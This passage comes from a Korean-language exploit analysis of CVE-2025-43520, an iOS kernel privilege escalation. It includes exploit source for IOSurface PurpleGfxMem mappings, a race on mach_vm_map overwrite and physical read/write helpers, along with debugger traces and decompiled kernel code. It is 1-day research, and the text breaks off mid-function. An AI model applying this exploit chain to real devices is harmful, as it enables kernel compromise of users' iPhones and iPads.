@&quot;PurpleGfxMem&quot;,\n    };\n\n    IOSurfaceRef surface = IOSurfaceCreate((__bridge CFDictionaryRef)params);\n\n    if (!surface) {\n        printf(&quot;[-] Failed to create surface!!!\\n&quot;);\n        FAILURE(0);\n    }\n\n    void *physicalMappingAddress = IOSurfaceGetBaseAddress(surface);\n    printf(&quot;[+] physicalMappingAddress: %p\\n&quot;, physicalMappingAddress);\n\n    mach_port_t memoryObject;\n    kern_return_t kr = mach_make_memory_entry_64(\n        mach_task_self(), &amp;size, (mach_vm_address_t)physicalMappingAddress,\n        VM_PROT_DEFAULT, &amp;memoryObject, 0);\n    if (!surface) {\n        printf(&quot;[-] mach_make_memory_entry_64 failed!!!\\n&quot;);\n        FAILURE(0);\n    }\n\n    mach_vm_address_t newMappingAddress;\n    kr = mach_vm_map(mach_task_self(), &amp;newMappingAddress, size, 0,\n                     VM_FLAGS_ANYWHERE | VM_FLAGS_RANDOM_ADDR, memoryObject, 0,\n                     0, VM_PROT_DEFAULT, VM_PROT_DEFAULT, VM_INHERIT_NONE);\n\n    if (kr != KERN_SUCCESS) {\n        printf(&quot;[-] mach_vm_map failed!!!\\n&quot;);\n        FAILURE(0);\n    }\n\n    CFRelease(surface);\n    *port = memoryObject;\n    *address = newMappingAddress;\n}\n<\/code><\/pre>\n<p><code>IOSurfaceCreate<\/code>\ub294 \ucd5c\uc885\uc801\uc73c\ub85c <code>IOConnectCallMethod<\/code>\uc73c\ub85c \ucee4\ub110 \ud568\uc218 \ud638\ucd9c\uc744 \uc2dc\ub3c4\ud55c\ub2e4.\n<code>IOSurfaceRoot<\/code> \uc11c\ube44\uc2a4\ub97c \ud1b5\ud574 \uc678\ubd80 \uba54\uc18c\ub4dc \ud638\ucd9c\uc744 \ud558\uba70,\n\uba3c\uc800 \ucee4\ub110\uc5d0\uc11c 13(0xd)\ubc88 \uc140\ub809\ud130 \uba54\uc18c\ub4dc\uc778 <code>IOSurfaceRootUserClient::s_get_limits<\/code>\ub97c \ud638\ucd9c\ud55c\ub2e4.<\/p>\n<pre><code class=\"language-c\">(lldb) bt\n* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1\n  * frame #0: 0x00000001927128a8 IOKit`IOConnectCallMethod\n    frame #1: 0x00000001b1c9ce74 IOSurface`&lt;redacted&gt; + 2176\n    frame #2: 0x00000001def2fae0 libsystem_pthread.dylib`&lt;redacted&gt; + 68\n    frame #3: 0x00000001def1f2dc libsystem_platform.dylib`&lt;redacted&gt; + 28\n    frame #4: 0x00000001def2b1a4 libsystem_pthread.dylib`pthread_once + 92\n    frame #5: 0x00000001b1c9a128 IOSurface`IOSurfaceClientCreateChild + 120\n    frame #6: 0x00000001b1c9db20 IOSurface`&lt;redacted&gt; + 76\n    frame #7: 0x0000000100ba84c0 CVE-2025-43520`___lldb_unnamed_symbol63 + 236\n    frame #8: 0x0000000100ba8544 CVE-2025-43520`___lldb_unnamed_symbol64 + 124\n    frame #9: 0x0000000100ba8008 CVE-2025-43520`main + 8\n    frame #10: 0x0000000100d14190 dyld`start + 444\n(lldb) reg read x1\n      x1 = 0x000000000000000d\n<\/code><\/pre>\n<pre><code class=\"language-c\">__int64 __fastcall IOSurfaceRootUserClient::s_get_limits(\n        IOSurfaceRootUserClient *this,\n        IOSurfaceRootUserClient *a2,\n        IOExternalMethodArguments *a3)\n{\n  IOSurfaceGetLimitsResult *structureOutput; \/\/ x8\n  struct IOSurfaceRoot *provider; \/\/ x9\n\n  structureOutput = (IOSurfaceGetLimitsResult *)a3-&gt;structureOutput;\n  provider = this-&gt;provider;\n  *(_OWORD *)&amp;structureOutput-&gt;idk0 = *(_OWORD *)&amp;provider-&gt;idkAC;\n  structureOutput-&gt;idk10 = provider-&gt;idkBC;\n  structureOutput-&gt;idk14 = this-&gt;idk13E;\n  structureOutput-&gt;flag = 1;\n  a3-&gt;structureOutputSize = 0x18;\n  return 0;\n}\n<\/code><\/pre>\n<h3>IOSurfaceRootUserClient::create_surface<\/h3>\n<p>\uadf8 \ub2e4\uc74c\uc774 \uc911\uc694\ud55c\ub370, \ucee4\ub110\uc5d0\uc11c 0\ubc88 \uc140\ub809\ud130 \uba54\uc18c\ub4dc\uc778 <code>IOSurfaceRootUserClient::s_create_surface<\/code>\ub97c \ud638\ucd9c\ud558\ub294 \uac83\uc744 \uc54c \uc218 \uc788\ub2e4.<\/p>\n<pre><code class=\"language-c\">(lldb) bt\n* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1\n  * frame #0: 0x00000001927128a8 IOKit`IOConnectCallMethod\n    frame #1: 0x00000001b1c9a170 IOSurface`IOSurfaceClientCreateChild + 192\n    frame #2: 0x00000001b1c9db20 IOSurface`&lt;redacted&gt; + 76\n    frame #3: 0x0000000100ba84c0 CVE-2025-43520`___lldb_unnamed_symbol63 + 236\n    frame #4: 0x0000000100ba8544 CVE-2025-43520`___lldb_unnamed_symbol64 + 124\n    frame #5: 0x0000000100ba8008 CVE-2025-43520`main + 8\n    frame #6: 0x0000000100d14190 dyld`start + 444\n(lldb) reg read x1\n      x1 = 0x0000000000000000\n<\/code><\/pre>\n<p>\uc774\ub294 \ub0b4\ubd80\uc801\uc73c\ub85c \uc544\ub798 \ud568\uc218\ub4e4\uc744 \uac70\uce58\uac8c \ub41c\ub2e4.\n<code>IOSurfaceRootUserClient::s_create_surface<\/code>\n\u2192 <code>IOSurfaceRootUserClient::create_surface<\/code>\n\u2192 <code>IOSurfaceRoot::createSurface<\/code>\n\u2192 <code>IOSurface::init<\/code>\n\u2192 <code>IOSurface::parse_properties<\/code><\/p>\n<p>\uc544\ub798 \uc0ac\uc9c4\uacfc \uac19\uc774\n\uc775\uc2a4\ud50c\ub85c\uc787 \ucf54\ub4dc\uc5d0\uc11c \uc0ac\uc6a9\ub41c <code>IOSurfaceCreate<\/code>\ud568\uc218\uc758 \ub9e4\uac1c\ubcc0\uc218\uc778 <code>kIOSurfaceAllocSize<\/code>, <code>IOSurfaceMemoryRegion<\/code> \ud0a4\/\uac12\uc740 <code>IOSurface::parse_properties<\/code> \uc5d0\uc11c  \ud30c\uc2f1\ud574\uc11c \uac00\uc838\uc628\ub2e4.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/CVE-2025-43520\/pics\/Drawing_2026-04-18_20.52.10.excalidraw.png\" alt=\"Drawing 2026-04-18 20.52.10.excalidraw.png\"><\/p>\n<p>\uc5ec\uae30\uc11c \uc54c\uc544\ub450\uc5b4\uc57c\ud560 \uc810\uc740 &quot;PurpleGfxMem\u201d \uc601\uc5ed\uc740 GPU \uc804\uc6a9 \uc608\uc57d \uc601\uc5ed\uc73c\ub85c\uc368, \/vram\uc774\ub77c\ub294 \ud38c\uc6e8\uc5b4\uc758 \ubb3c\ub9ac \uba54\ubaa8\ub9ac\uc758 \ud2b9\uc815 \uc601\uc5ed\uc5d0 \uc874\uc7ac\ud55c\ub2e4. GPU\/\ub514\uc2a4\ud50c\ub808\uc774 \uc804\uc6a9\uc73c\ub85c \uc608\uc57d\ub41c \uacf5\uac04\uc774\ub77c\uace0 \ubcf4\uba74 \ub420 \ub4ef \uc2f6\ub2e4.<\/p>\n<p><a href=\"https:\/\/alfiecg.uk\/2025\/03\/01\/Trigon.html#experimentation\">Trigon \uc775\uc2a4\ud50c\ub85c\uc787<\/a>\uc5d0\uc11c\ub3c4 \ud65c\uc6a9\ub41c \uc801 \uc788\uc73c\uba70, IOSurface.kext\uc758 \u201cPurpleGfxMem\u201d \ubb38\uc790\uc5f4\uc744 \uc5ed\ucc38\uc870\ud574\ubcf4\uba74 <code>IOSurfaceRoot::start<\/code> \ud568\uc218\ub97c \ucc3e\uc744 \uc218 \uc788\ub2e4. \u201c\/vram\u201d\uc774\ub77c\ub294 \uacbd\ub85c \ubb38\uc790\uc5f4\uc744 \ubc1b\uc544 IOKit \ub808\uc9c0\uc2a4\ud2b8\ub9ac \ud2b8\ub9ac\uc5d0\uc11c \uadf8 \uacbd\ub85c\uc5d0 \ud574\ub2f9\ud558\ub294 \ub178\ub4dc\ub97c \ucc3e\ub294\ub2e4. \uadf8\ub798\uc11c \ud574\ub2f9 PurpleGfxMem \uc601\uc5ed\uc740 \/vram\uc5d0 \uc788\ub2e4\ub294 \uac83\uc744 \uc54c \uc218 \uc788\ub2e4.<\/p>\n<pre><code class=\"language-c\">bool __fastcall IOSurfaceRoot::start(IOSurfaceRoot *this, IOService *a2)\n{\n  ...\n  v15 = IORegistryEntry::fromPath(&quot;\/vram&quot;, gIODTPlane, 0, 0, 0);\n  if ( v15 )\n  {\n    if ( v14 )\n      v16 = 256;\n    else\n      v16 = 1024;\n    ((void (__fastcall *)(IORegistryEntry *))v15-&gt;release_0)(v15);\n    v17 = this-&gt;idk_138;\n    v18 = &amp;this-&gt;_ioservice_header.__vftable + v17;\n    v18[34] = (IOService_vtbl *)&quot;vram&quot;;\n    v18[36] = (IOService_vtbl *)&quot;PurpleGfxMem&quot;;\n    *(_DWORD *)&amp;this-&gt;_placeholder_for_shared_bitmap[4 * v17 + 32] = v16;\n    ++this-&gt;idk_138;\n  }\n  ...\n}\n<\/code><\/pre>\n<p><code>ioreg<\/code> \uba85\ub839\uc5b4\ub85c vram \uc601\uc5ed\uc5d0 \ub300\ud55c \ubb3c\ub9ac\uba54\ubaa8\ub9ac \ubca0\uc774\uc2a4 \uc8fc\uc18c\uc640 \ud06c\uae30\ub97c \uc54c \uc218\ub3c4 \uc788\uc5c8\ub2e4.<\/p>\n<pre><code class=\"language-c\">iPad-7th-generation:~ root# ioreg -n vram -r\n+-o vram@BB5EC000  &lt;class IOPlatformDevice, id 0x100000115, registered, matched, active, busy 0 (101 ms), $\n    {\n      &quot;IODeviceMemory&quot; = (({&quot;address&quot;=37503287296,&quot;length&quot;=44040192}))\n      &quot;reg&quot; = &lt;00c05ebb080000000000a00200000000&gt;\n      &quot;name&quot; = &lt;&quot;vram&quot;&gt;\n      &quot;AAPL,phandle&quot; = &lt;16000000&gt;\n      &quot;device_type&quot; = &lt;&quot;vram&quot;&gt;\n    }\n<\/code><\/pre>\n<p>\uadf8\ub798\uc11c \uc544\ub798 \ud574\ub2f9\ubd80\ubd84\uc758 \ucf54\ub4dc\ub97c \ub2e4\uc2dc \ud55c\ubc88 \uc0b4\ud3b4\ubcf4\uc790\uba74,\n\ud38c\uc6e8\uc5b4\uc5d0 \uc788\ub294 \/vram\uc774\ub77c\ub294 \uc704\uce58\uc758 PurpleGfxMem\uc774\ub77c\ub294 GPU\/\ub514\uc2a4\ud50c\ub808\uc774 \uc804\uc6a9 \uc608\uc57d \uacf5\uac04\uc774 \uc874\uc7ac\ud558\ub294\ub370, \ud574\ub2f9 \uacf5\uac04\uc758 <code>kIOSurfaceAllocSize<\/code>(0x8000) \ud06c\uae30\ub9cc\ud07c \ud560\ub2f9\ubc1b\uc544 \uc0ac\uc6a9\uc790\uacf5\uac04\uc5d0\uc11c \ud65c\uc6a9\ud560 \uc218 \uc788\ub3c4\ub85d \ub9f5\ud551\ud574\uc900\ub2e4\uace0 \ubcf4\uba74 \ub420 \ub4ef \uc2f6\ub2e4.<\/p>\n<p><code>IOSurfaceCreate<\/code>\ub85c \uc778\ud574 \ub9f5\ud551\ub41c \uc0ac\uc6a9\uc790\uacf5\uac04 \uc8fc\uc18c\ub294 <code>IOSurfaceGetBaseAddress<\/code>\ub97c \ud1b5\ud574 \uc54c\uc544\ub0bc \uc218 \uc788\ub2e4.<\/p>\n<pre><code class=\"language-c\">void create_physically_contiguous_mapping(mach_port_t *port,\n                                          mach_vm_address_t *address,\n                                          mach_vm_size_t size) {\n    NSDictionary *params = @{\n        (__bridge id)kIOSurfaceAllocSize : @(size),\n        @&quot;IOSurfaceMemoryRegion&quot; : @&quot;PurpleGfxMem&quot;,\n    };\n\n    IOSurfaceRef surface = IOSurfaceCreate((__bridge CFDictionaryRef)params);\n\n    if (!surface) {\n        printf(&quot;[-] Failed to create surface!!!\\n&quot;);\n        FAILURE(0);\n    }\n\n    void *physicalMappingAddress = IOSurfaceGetBaseAddress(surface);\n    printf(&quot;[+] physicalMappingAddress: %p\\n&quot;, physicalMappingAddress);\n<\/code><\/pre>\n<p>\uadf8\ub9ac\uace0 \ud6c4\ubc18\ubd80 \ucf54\ub4dc\uc5d0\uc11c\ub294 \uc2e4\uc81c\ub85c \ub9f5\ud551\ub418\uc5b4 \ub370\uc774\ud130\uac00 \ub3d9\uae30\ud654\ub418\ub294\uc9c0 \ud655\uc778\ud558\uae30 \uc704\ud574 \uc544\ub798 \ucf54\ub4dc\ub97c \uc791\uc131\ud574\ubcf4\uc558\ub2e4.<\/p>\n<p>\ub9f5\ud551\ub41c \uc0ac\uc6a9\uc790\uacf5\uac04 \uc8fc\uc18c\uc5d0 0x1337\u2026 \uc2dc\uadf8\ub2c8\ucc98\ub97c PAGE_SIZE \ub9cc\ud07c \uc4f4 \ub2e4\uc74c, \/vram \ubb3c\ub9ac\uc8fc\uc18c \ubca0\uc774\uc2a4\uc5d0\uc11c \ud574\ub2f9 \uc2dc\uadf8\ub2c8\ucc98\ub97c \ucc3e\ub3c4\ub85d \ub9cc\ub4e4\uc5c8\ub2e4.<\/p>\n<p>(<code>physread64<\/code> \ud568\uc218\uc758 \uacbd\uc6b0, jop chain\uc744 \ub9cc\ub4e4\uc5b4  <code>ml_phys_read_data<\/code> \ucee4\ub110 \ud568\uc218\ub97c \ud638\ucd9c\ud574\uc11c \ubb3c\ub9ac \ub370\uc774\ud130\ub97c \uc77d\ub3c4\ub85d \uad6c\ud604\ud568.)<\/p>\n<pre><code class=\"language-objectivec\">bool get_vram_info(uint64_t *outPA, uint64_t *outSize)\n{\n    io_registry_entry_t entry = IORegistryEntryFromPath(\n        kIOMainPortDefault, &quot;IODeviceTree:\/vram&quot;);\n    if (entry == MACH_PORT_NULL) return false;\n\n    CFDataRef reg = (CFDataRef)IORegistryEntryCreateCFProperty(\n        entry, CFSTR(&quot;reg&quot;), kCFAllocatorDefault, 0);\n    IOObjectRelease(entry);\n\n    if (!reg) return false;\n\n    const uint64_t *v = (const uint64_t *)CFDataGetBytePtr(reg);\n    *outPA   = v[0];\n    *outSize = v[1];\n\n    CFRelease(reg);\n    return true;\n}\n\nvoid create_physically_contiguous_mapping(mach_port_t *port,\n                                          mach_vm_address_t *address,\n                                          mach_vm_size_t size) {\n    ...\n    void *physicalMappingAddress = IOSurfaceGetBaseAddress(surface);\n    printf(&quot;[+] physicalMappingAddress: %p\\n&quot;, physicalMappingAddress);\n\n#if ENABLE_HELPER\n    uint64_t sig = 0x1337133713371337;\n    memset_pattern8(physicalMappingAddress, &amp;sig, PAGE_SIZE);\n\n    uint64_t vram_pa_base = 0;\n    uint64_t vram_sz = 0;\n    uint64_t physicalMappingAddress_pa = 0;\n    if (get_vram_info(&amp;vram_pa_base, &amp;vram_sz)) {\n        printf(&quot;[HELPER] vram_pa_base: 0x%llx, vram_sz: 0x%llx\\n&quot;, vram_pa_base, vram_sz);\n        for(uint64_t i = vram_pa_base; i &lt;= (vram_pa_base+vram_sz); i+=PAGE_SIZE) {\n            if(physread64(i) == sig) {\n                printf(&quot;[HELPER] Found sig at vram_pa@0x%llx\\n&quot;, i);\n                physicalMappingAddress_pa = i;\n                break;\n            }\n        }\n    }\n    printf(&quot;[HELPER] physicalMappingAddress: 0x%llx -&gt; pa: 0x%llx\\n&quot;, (uint64_t)physicalMappingAddress, physicalMappingAddress_pa);\n    phexdump(physicalMappingAddress_pa-0x1000, 0x8000);\n    memset(physicalMappingAddress, 0, PAGE_SIZE);\n    ...\n#endif\n<\/code><\/pre>\n<p>\uc2e4\uc81c\ub85c \uc2e4\ud589\ud574\uc11c \ud655\uc778\ud574\ubcf4\uba74,\n\uc0ac\uc6a9\uc790\uc601\uc5ed\uc758 \uc8fc\uc18c\uc778 0x100170000 \u2192 \/vram \uc601\uc5ed\uc758 \ubb3c\ub9ac \uc8fc\uc18c\uc778 0x8bdf4c000\uacfc \ub9f5\ud551\ub418\ub294 \uac83\uc744 \uc54c \uc218 \uc788\ub2e4.<\/p>\n<pre><code class=\"language-c\">...\n[+] physicalMappingAddress: 0x100170000\n[HELPER] vram_pa_base: 0x8bb5ec000, vram_sz: 0x2a00000\n[HELPER] Found sig at vram_pa@0x8bdf4c000\n[HELPER] physicalMappingAddress: 0x100170000 -&gt; pa: 0x8bdf4c000\n\n...\n[0x00000008bdf4b000+0xff0] 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |  ................ \n[0x00000008bdf4b000+0x1000] 37 13 37 13 37 13 37 13  37 13 37 13 37 13 37 13  |  7.7.7.7.7.7.7.7. \n[0x00000008bdf4b000+0x1010] 37 13 37 13 37 13 37 13  37 13 37 13 37 13 37 13  |  7.7.7.7.7.7.7.7.\n...\n[0x00000008bdf4b000+0x4ff0] 37 13 37 13 37 13 37 13  37 13 37 13 37 13 37 13  |  7.7.7.7.7.7.7.7. \n[0x00000008bdf4b000+0x5000] 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |  ................ \n...\n<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/CVE-2025-43520\/pics\/Drawing_2026-04-27_17.50.18.excalidraw_1.png\" alt=\"Drawing 2026-04-27 17.50.18.excalidraw 1.png\"><\/p>\n<p><code>IOSurfaceGetBaseAddress<\/code>\ub97c \ud1b5\ud574 \ub9f5\ud551\ub41c \uc0ac\uc6a9\uc790\uc601\uc5ed\uc758 \uc8fc\uc18c\ub97c \uac00\uc838\uc628 \uc774\ud6c4\uc5d0\ub294\n\ud55c\ubc88 \ub354 \uba54\ubaa8\ub9ac \ub9f5\ud551\uc744 \uc0dd\uc131\ud55c\ub2e4.<\/p>\n<p><code>mach_make_memory_entry_64<\/code> \ud568\uc218\ub97c \uc0ac\uc6a9\ud558\uc5ec, &quot;memory entry&quot;\ub97c \uc0dd\uc131\ud558\ub294\ub370, \uc774\ub294 \ud504\ub85c\uc138\uc2a4\uc5d0\uc11c \ub098\uc911\uc5d0 \ub9e4\ud551\ud560 \uc218 \uc788\ub294 \uc608\uc57d\ub41c \uba54\ubaa8\ub9ac \uc601\uc5ed\uc744 \uc758\ubbf8\ud558\uae30\ub3c4 \ud558\uba70, \ud574\ub2f9 memory entry\ub294 <code>vm_map_copy<\/code> \uad6c\uc870\uccb4\ub97c \ud3ec\ud568\ud558\uace0 \uc788\uc73c\uba70, \ud574\ub2f9 \ud560\ub2f9\uc744 \uc704\ud55c <code>vm_map_entry<\/code> \uad6c\uc870\uccb4\ub97c \ubcf4\uc720\ud558\uace0 \uc788\uae30\ub3c4 \ud55c\ub2e4.<\/p>\n<p>\ub2e8\uc21c\ud788 \uc124\uba85\ud558\uc790\uba74, \uc0ac\uc6a9\uc790\uacf5\uac04\uc5d0\uc11c \ucee4\ub110\uc774 \uad00\ub9ac\ud558\ub294 \uba54\ubaa8\ub9ac \uc601\uc5ed\uc5d0 \ub300\ud55c Mach \ud3ec\ud2b8 \ud578\ub4e4\uc778 <code>memoryObject<\/code>\ub97c \uc5bb\uc5b4\uc628\ub2e4. <code>VM_PROT_DEFAULT<\/code>\uc758 \uacbd\uc6b0, <code>(VM_PROT_READ|VM_PROT_WRITE)<\/code>\uc744 \uc758\ubbf8\ud558\uae30\uc5d0 \uc77d\uae30\/\uc4f0\uae30 \ubcf4\ud638 \uc18d\uc131\uc744 \uac00\uc9c4\ub2e4.<\/p>\n<p>\uba54\ubaa8\ub9ac \uc601\uc5ed\uc5d0 \ub300\ud55c Mach \ud3ec\ud2b8 \ud578\ub4e4\uc744 \uac00\uc838\uc624\ub294\ub370 \uc131\uacf5\ud558\uba74, \uc624\ud504\uc14b\uacfc \ud06c\uae30\ub97c \uc9c0\uc815\ud558\uc5ec \ud574\ub2f9 \uc5d4\ud2b8\ub9ac\uac00 \ud3ec\ud568\ud558\ub294 \ubc94\uc704\uc758 \ud2b9\uc815 \ubd80\ubd84\uc744 \uc790\uae30 \ud504\ub85c\uc138\uc2a4\uc5d0 \ub9e4\ud551\ud558\ub3c4\ub85d <code>mach_vm_map<\/code>\uc744 \ud638\ucd9c\ud560 \uc218 \uc788\ub2e4.<\/p>\n<p>\ud574\ub2f9 \ud568\uc218\uc758 \ub9e4\uac1c\ubcc0\uc218\ub97c \uc0b4\ud3b4\ubcf4\uba74, <code>VM_FLAGS_ANYWHERE | VM_FLAGS_RANDOM_ADDR<\/code>\ub85c \uc778\ud574 \uc790\uae30 \ud504\ub85c\uc138\uc2a4\uc758 \ubb34\uc791\uc704 \uc8fc\uc18c\uc5d0 \ub9f5\ud551\ub420 \uac83\uc774\uba70, <code>VM_INHERIT_NONE<\/code> \ub85c \uc778\ud574 fork\ub85c \uc0dd\uc131\ub41c \uc790\uc2dd \ud504\ub85c\uc138\uc2a4\uc5d0\uc120 \ud574\ub2f9 \ub9f5\ud551\uc774 \uc774\uc5b4\uc9c0\uc9c0 \uc54a\uace0, \ubcf4\ud638\uc18d\uc131\uc740 Read\/Write\ub85c \ub420 \uac83\uc774\ub2e4.<\/p>\n<p>\uadf8\ub807\uac8c \uc0dd\uc131\ub41c \ud3ec\ud2b8 \ud578\ub4e4\uacfc \uc0c8\ub85c \uc0dd\uc131\ub41c \ub9f5\ud551 \uc8fc\uc18c\ub294 \uac01\uac01 <code>*port<\/code>, <code>*address<\/code>\uc5d0 \uc9c0\uc815\ub41c\ub2e4.<\/p>\n<pre><code class=\"language-objectivec\">void create_physically_contiguous_mapping(mach_port_t *port,\n                                          mach_vm_address_t *address,\n                                          mach_vm_size_t size) {\n    ...\n    mach_port_t memoryObject;\n    kern_return_t kr = mach_make_memory_entry_64(\n        mach_task_self(), &amp;size, (mach_vm_address_t)physicalMappingAddress,\n        VM_PROT_DEFAULT, &amp;memoryObject, 0);\n    if (!surface) {\n        printf(&quot;[-] mach_make_memory_entry_64 failed!!!\\n&quot;);\n        FAILURE(0);\n    }\n\n    mach_vm_address_t newMappingAddress;\n    kr = mach_vm_map(mach_task_self(), &amp;newMappingAddress, size, 0,\n                     VM_FLAGS_ANYWHERE | VM_FLAGS_RANDOM_ADDR, memoryObject, 0,\n                     0, VM_PROT_DEFAULT, VM_PROT_DEFAULT, VM_INHERIT_NONE);\n\n    if (kr != KERN_SUCCESS) {\n        printf(&quot;[-] mach_vm_map failed!!!\\n&quot;);\n        FAILURE(0);\n    }\n\n    CFRelease(surface);\n    *port = memoryObject;\n    *address = newMappingAddress;\n}\n<\/code><\/pre>\n<h3>initialize_physical_read_write (part 2)<\/h3>\n<p>\ubc29\uae08 \uc804\uc5d0 \uc124\uba85\ud588\ub4ef\uc774,<\/p>\n<p><code>pcObject<\/code>\ub294 <code>mach_make_memory_entry_64<\/code>\uc5d0 \uc758\ud574 \uc0dd\uc131\ub41c \/vram \ud2b9\uc815 \uc601\uc5ed\uc5d0 \ub300\ud55c \ud3ec\ud2b8 \ud578\ub4e4,\n<code>pcAddress<\/code>\ub294 \ubb34\uc791\uc704 \uc8fc\uc18c\uc5d0 \uc0c8\ub85c \uc0dd\uc131\ub41c \/vram \ud2b9\uc815 \uc601\uc5ed\uc758 \ub9f5\ud551 \uc8fc\uc18c\uac00 \ub41c\ub2e4.<\/p>\n<p>\ub9f5\ud551\ub41c \uc601\uc5ed\uc5d0\ub294 <code>randomMarker<\/code>\uc778 <strong>0x1337133845464748<\/strong>\uac12\uc744 <code>pcSize<\/code>\uc778 0x8000\ud06c\uae30\ub9cc\ud07c\n\uc804\uccb4\ub97c \ucc44\uc6b4\ub2e4. \uc6d0\ubcf8 \uc775\uc2a4\ud50c\ub85c\uc787 \ucf54\ub4dc\uc5d0\uc11c randomMarker \ubcc0\uc218\uac12\uc740 \ubb34\uc791\uc704 \ub79c\ub364 \uac12\uc774\uc5ec\uc57c\uaca0\uc9c0\ub9cc, \uc784\uc758\ub85c \ubcf4\uae30 \ud3b8\ud558\uac8c \ud558\uae30\uc704\ud574 \ud2b9\uc815\uac12\uc73c\ub85c \uace0\uc815\uc2dc\ucf30\ub2e4.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/CVE-2025-43520\/pics\/Drawing_2026-04-27_17.50.18.excalidraw_1_1_1.png\" alt=\"Drawing 2026-04-27 17.50.18.excalidraw 1 1 1.png\"><\/p>\n<p>\uc774\ud6c4 <code>freeTarget<\/code>, <code>freeTargetSize<\/code>, <code>freeThreadStart<\/code>, <code>goSync<\/code> \ub4f1\ub4f1 \uc804\uc5ed\ubcc0\uc218\uc5d0 \uac12\uc774 \uc785\ub825\ub418\uac70\ub098 \uc138\ud2b8\ub41c\ub2e4.<\/p>\n<p>\ub530\ub77c\uc11c <a href=\"https:\/\/app.notion.com\/p\/CVE-2025-43520-352d56448e5d803f87ced29e87ed3e8d?pvs=21\">pe_init (part 3)<\/a> \ucf54\ub4dc\uc5d0 \ub300\ud55c \uc124\uba85\uacfc \uac19\uc774 \uc218\ud589\ub41c\ub2e4.<\/p>\n<blockquote>\n<p>\ube44\ub3d9\uae30\uc801\uc73c\ub85c \uc218\ud589\ud560 \uc218 \uc788\uac8c\ub054 \uc4f0\ub808\ub4dc\ub97c \uc0dd\uc131\ud55c\ub2e4.<\/p>\n<p><code>freeThreadStart<\/code>, <code>goSync<\/code>,  <code>raceSync<\/code> \uac00 0\uc774 \uc544\ub2d0\ub54c\uc5d0\ub9cc <code>mach_vm_map<\/code>\uc744 \ud638\ucd9c\ud55c\ub2e4.<\/p>\n<p><code>VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE<\/code> \uc635\uc158\uc744 \ud1b5\ud574 \uba54\ubaa8\ub9ac\ub97c \ub9f5\ud551\ud558\ub294\ub370,\n<code>VM_FLAGS_FIXED<\/code>\ub294 \u201c\uc815\ud655\ud788 \uc9c0\uc815\ud55c \ud2b9\uc815 \uc8fc\uc18c\uc5d0 \ub9e4\ud551\ud558\ub77c\u201d,\u00a0\n<code>VM_FLAGS_OVERWRITE<\/code>\ub294 &quot;\ud574\ub2f9 \uc8fc\uc18c\uc5d0 \uc774\ubbf8 \ub9e4\ud551\uc774 \uc788\uc73c\uba74 <strong>\uae30\uc874 \ub9e4\ud551\uc744 \uc81c\uac70\ud558\uace0 \ub36e\uc5b4\uc368\ub77c<\/strong>&quot;\ub294 \uc758\ubbf8\uac00 \ub2f4\uaca8\uc788\ub2e4.\n<code>freeTarget<\/code>\uc744 \uae30\uc900\uc73c\ub85c \uace0\uc815\ub41c \ud2b9\uc815 \uc8fc\uc18c\uc5d0 \ub9f5\ud551\ub41c\ub2e4.<\/p>\n<\/blockquote>\n<p>\ucd94\uac00\ub85c, <code>mach_vm_map<\/code>\uc774 \uc131\uacf5\uc801\uc73c\ub85c \ud638\ucd9c\ub418\uba74, \ubc18\ubcf5 \ud638\ucd9c\ub418\ub294\uac78 \ub9c9\uae30 \uc704\ud574 <code>raceSync<\/code>\uac00 0\uc73c\ub85c \uc138\ud2b8\ub41c\ub2e4.\n\ub610, freeTarget = pcAddress\ub85c, \ubb34\uc791\uc704 \uc8fc\uc18c\uc5d0 \uc0c8\ub85c \uc0dd\uc131\ub41c \/vram \ud2b9\uc815 \uc601\uc5ed\uc758 \ub9f5\ud551 \uc8fc\uc18c\ub77c\ub294 \uc810\uc744 \uc720\ub150\ud558\uc790.<\/p>\n<pre><code class=\"language-objectivec\">void initialize_physical_read_write(uint64_t contiguous_mapping_size) {\n    ...\n    create_physically_contiguous_mapping(&amp;pcObject, &amp;pcAddress, pcSize);\n    printf(&quot;[+] pcObject: %u\\n&quot;, pcObject);\n    printf(&quot;[+] pcAddress: %#llx\\n&quot;, pcAddress);\n    memset64((void *)pcAddress, randomMarker, pcSize);\n    freeTarget = pcAddress, freeTargetSize = pcSize;\n    freeThreadStart = 1;\n    goSync = 1;\n}\n<\/code><\/pre>\n<h2>pe_v1 (part 3)<\/h2>\n<p><code>searchMappingNum<\/code> , \uc989 8\ubc88 \ubc18\ubcf5\ud558\ub294\ub370 <code>mach_vm_allocate<\/code> \ub97c \ud638\ucd9c\ud558\uc5ec<code>searchMappingSize<\/code>\uc778 0x8000000 \ud06c\uae30\ub9cc\ud07c \ubb34\uc791\uc704\uc758 \uac00\uc0c1\uc8fc\uc18c\ub85c \ud560\ub2f9\ubc1b\ub294\ub2e4.<\/p>\n<p>\ud560\ub2f9\ubc1b\uc740 \uc8fc\uc18c\ub294 <code>searchMappingAddress<\/code>\uc774\uba70, \ud574\ub2f9 \uac00\uc0c1\uc8fc\uc18c\uc758 \uac01 \ud398\uc774\uc9c0\ub9c8\ub2e4 \uccab 8\ubc14\uc774\ud2b8\uc5d0\ub294 randomMarker\uc778 0x1337133845464748\uac12\uc774 \uae30\ub85d\ub41c\ub2e4.<\/p>\n<p>\ub9c8\uc9c0\ub9c9\uc73c\ub85c, \ud574\ub2f9 \uac00\uc0c1\uc8fc\uc18c\ub294 <code>searchMappings<\/code> \ubc30\uc5f4\uc5d0 \ucd94\uac00\uac00 \ub41c\ub2e4.<\/p>\n<pre><code class=\"language-objectivec\">void pe_v1(void) {\n...\n    initialize_physical_read_write(OOB_PAGES_NUM * PAGE_SIZE); \/\/ analyzed\n    mach_vm_address_t wiredMapping = 0;\n    mach_vm_size_t wiredMappingSize = 1024ULL * 1024ULL * 1024ULL * 3ULL;\n    kern_return_t kr = KERN_SUCCESS;\n    if (isA18Device) {\n        ...\n    }\n    NSMutableArray *targetInpGencntList = [NSMutableArray new];\n    while (true) {\n        if (isA18Device) { ... }\n   